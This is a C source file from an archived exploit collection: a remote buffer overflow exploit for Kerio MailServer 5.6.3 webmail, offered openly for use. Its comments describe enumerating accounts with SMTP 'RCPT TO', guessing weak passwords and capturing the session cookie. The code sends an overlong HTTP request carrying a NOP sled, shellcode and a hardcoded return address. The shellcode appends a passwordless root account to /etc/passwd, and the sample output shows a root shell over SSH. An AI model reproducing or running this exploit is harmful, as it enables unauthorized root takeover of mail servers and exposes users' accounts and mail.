home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / mail / kerio / keriobaby.c < prev   
C/C++ Source or Header  |  2005-02-12  |  7KB  |  209 lines

  1. /* Remote Buffer Overflow Exploit for Kerio MailServer 5.6.3 */
  2. /* ========================================================= */
  3. /*        By B-r00t <br00t@blueyonder.co.uk          */
  4. /*                                 */
  5. /* In response to the Kerio Mailserver vulnerabilities       */
  6. /* discovered by David F.Madrid.                 */
  7. /* http://nautopia.org/vulnerabilidades/kerio_mailserver.htm */
  8. /*                                                         */
  9. /* Although this exploit requires valid authentication         */
  10. /* details, it is possible to use 'RCPT TO' to enumerate     */
  11. /* valid accounts 'A La Sendmail' as shown below: -         */
  12. /*
  13.  
  14. $ telnet 192.168.0.10 25
  15. Trying 192.168.0.10...
  16. Connected to 192.168.0.10.
  17. Escape character is '^]'.
  18. 220 dhcp-185-45 Kerio MailServer 5.6.3 ESMTP ready
  19. mail from: Br00t@scriptkiddie.net
  20. 250 2.1.0 Sender <Br00t@scriptkiddie.net> ok
  21.  
  22. rcpt to: nosuchuser@scriptkiddie.net
  23. 550 5.1.1 Mailbox <nosuchuser@scriptkiddie.net> does not exist
  24. rcpt to:admin@scriptkiddie.net
  25. 250 2.1.5 Recipient <admin@scriptkiddie.net> ok (local) << default admin account.
  26. rcpt to: fred@scriptkiddie.net
  27. 250 2.1.5 Recipient <fred@scriptkiddie.net> ok (local) << user fred seems to exist.
  28.  
  29. rset
  30. 250 2.0.0 Reset state
  31. quit
  32. 221 2.0.0 SMTP closing connection
  33. Connection closed by foreign host.
  34.  
  35. */
  36. /* Using a dictionary attack to obtain a large number   */
  37. /* of accounts in conjunction with users  natural     */
  38. /* stupidity for using easy to guess passwords should    */
  39. /* yield at least one valid account.            */
  40. /*                            */
  41. /* Once an account has been cracked, login to the    */
  42. /* Kerio webmail service and record the 'userid'     */
  43. /* cookie value: -                    */
  44. /*
  45. $ lynx 192.168.0.10
  46.    Username: fred___________
  47.    Password: _______________
  48.    OK
  49.  
  50.  
  51. 192.168.0.10 cookie: userid=7dc1700017e708a5  Allow? (Y/N/Always/neVer)
  52. */
  53. /* Accept the cookie 'Y' to ensure you are fully    */
  54. /* logged in to the Kerio webmail service.        */
  55. /*
  56.  
  57. [br00t@silvia:~] $ ./keriobaby 192.168.0.10 userid=7dc1700017e708a5
  58.  
  59. Payload: 408 / 408 bytes
  60.  
  61.  
  62. Wall0p! ... !!!
  63.  
  64.  
  65. If successful a UID 0 Account 'keriohacker'
  66. has been appended to /etc/passwd. Use 'ssh'
  67. or 'su' (if local) to get r00t! ....
  68.  
  69. [br00t@silvia:~] $ ssh -l keriohacker 192.168.0.10
  70. Last login: Thu Jun  5 08:21:30 2003
  71.  
  72. sh-2.05# id
  73. uid=0(root) gid=0(root) groups=0(root)
  74. sh-2.05# tail -1 /etc/passwd
  75. keriohacker::0:0:B-r00t~R0x~Y3r~W0rld!.:/tmp:/bin/sh
  76. sh-2.05#
  77.  
  78. *SSH assumes: PermitRootLogin yes & PermitEmptyPasswords yes
  79. Alternative: Recode the shellcode to add normal user!
  80. That's All Folks ...
  81. ENJOY!
  82. */
  83.  
  84.  
  85. #include <stdlib.h>
  86. #include <stdio.h>
  87. #include <string.h>
  88. #include <sys/types.h>
  89. #include <sys/socket.h>
  90. #include <netinet/in.h>
  91. #include <arpa/inet.h>
  92.  
  93. #define DEST_PORT 80
  94.  
  95. int main ( int argc, char *argv[] )
  96. {
  97. int socketfd, bytes;
  98. struct sockaddr_in dest_addr;
  99.  
  100. char buffer[700];
  101. // char ret[] = "\x07\xf7\x7f\xbe"; // Use this if attached with GDB
  102. char ret[] = "\x07\xf7\xff\xbe"; // RedHat Linux 7.2 + kerio-mailserver-mcafee-5.6.3-rh7.i386.rpm
  103. char *ptr = buffer;
  104. char req[] = "GET /list?folder=~";
  105. char cr[] = "\x0D\x0A";
  106.  
  107. char shellcode[] =
  108. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  109. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  110. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  111. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  112. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  113. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  114. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  115. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  116. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  117. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  118. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  119. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  120. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  121. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  122. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  123. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  124. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  125. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  126. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  127. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  128. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  129. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  130. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  131. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  132. // Fat Bloke Shellcode to avoid HTTP chars by B-r00t..
  133. // Appends: keriohacker::0:0:B-r00t~R0x~Y3r~W0rld!.:/tmp:/bin/sh
  134. "\xeb\x55\x5e\xb0\xff\x2c\xd0\x88\x06\x88\x46\x04\x88\x46\x34"
  135. "\x88\x46\x39\x88\x46\x3d\x31\xc0\x88\x46\x0b\x88\x46\x41\x66"
  136. "\xb8\x0b\x27\x66\x2d\x01\x27\x66\x89\x46\x40\x8d\x5e\x0c\x89"
  137. "\x5e\x42\xb0\x05\x8d\x1e\x66\xb9\x42\x04\x66\xba\xe4\x01\xcd"
  138. "\x80\x89\xc3\xb0\x04\x8b\x4e\x42\x31\xd2\xb2\xff\x80\xea\xca"
  139. "\xcd\x80\xb0\x06\xcd\x80\xb0\x01\x31\xdb\xcd\x80\xe8\xa6\xff"
  140. "\xff\xff\x58\x65\x74\x63\x58\x70\x61\x73\x73\x77\x64\x58\x6b"
  141. "\x65\x72\x69\x6f\x68\x61\x63\x6b\x65\x72\x3a\x3a\x30\x3a\x30"
  142. "\x3a\x42\x2d\x72\x30\x30\x74\x7e\x52\x30\x78\x7e\x59\x33\x72"
  143. "\x7e\x57\x30\x72\x6c\x64\x21\x2e\x3a\x58\x74\x6d\x70\x3a\x58"
  144. "\x62\x69\x6e\x58\x73\x68\x58\x58\x41\x41\x41\x41"
  145. "\x90\x90\x90\x90\x90\x90";
  146.  
  147. memset (buffer, '\0', sizeof (buffer));
  148.  
  149. if (argc < 3) {
  150.         printf("\nUsage: %s [IP_ADDRESS] [COOKIE]", argv[0]);
  151.         printf("\nExample: %s 10.0.0.1 userid=771c740df0270936\n", argv[0]);
  152.     exit (1);
  153.         }
  154.  
  155. printf ("\nPayload: %d / 408 bytes\n\n", strlen(shellcode));
  156.  
  157. strcpy (buffer, req);
  158. strcat (buffer, shellcode);
  159. strcat (buffer, ret);
  160. strcat (buffer, ret);
  161. strcat (buffer, " HTTP/1.0");
  162. strcat (buffer, cr);
  163. strcat (buffer, "Cookie: ");
  164. strcat (buffer, argv[2]);
  165. strcat (buffer, cr);
  166. strcat (buffer, cr);
  167.  
  168. if ((socketfd = socket(AF_INET, SOCK_STREAM, 0)) == -1){
  169.         perror("Socket");
  170.         exit (1);
  171.         }
  172.  
  173. dest_addr.sin_family = AF_INET;
  174. dest_addr.sin_port = htons(DEST_PORT);
  175. if (! inet_aton(argv[1], &(dest_addr.sin_addr))) {
  176.         perror("inet_aton problems");
  177.         exit (2);
  178.         }
  179.  
  180. memset( &(dest_addr.sin_zero), '\0', 8);
  181.  
  182. if (connect (socketfd, (struct sockaddr *)&dest_addr, sizeof (struct sockaddr)) == -1){
  183.         perror("connect failed");
  184.         close (socketfd);
  185.         exit (3);
  186.         }
  187.  
  188.  
  189. bytes = (send (socketfd, ptr, strlen(buffer), 0));
  190. if (bytes == -1) {
  191.         perror("send error");
  192.         close (socketfd);
  193.         exit(4);
  194.         }
  195.  
  196. close (socketfd);
  197. printf ("\nWall0p! ... !!!\n\n");
  198. printf ("\nIf successful a UID 0 Account 'keriohacker'");
  199. printf ("\nhas been appended to /etc/passwd. Use 'ssh'");
  200. printf ("\nor 'su' (if local) to get r00t! ....\n\n");
  201.  
  202. }
  203.  
  204. /* Shoutz: Marshal-l, Rux0r, macavity, Monkfish, Mum & Dad.    */
  205. /* B-r00t aka B#. 2003. <br00t@blueyonder.co.uk>        */
  206. /* "If You Can't B-r00t Then Just B#."                */
  207. /* That One Doris ... U-Know-Who-U-R!                */
  208. /* THE END - AMEN.                        */
  209.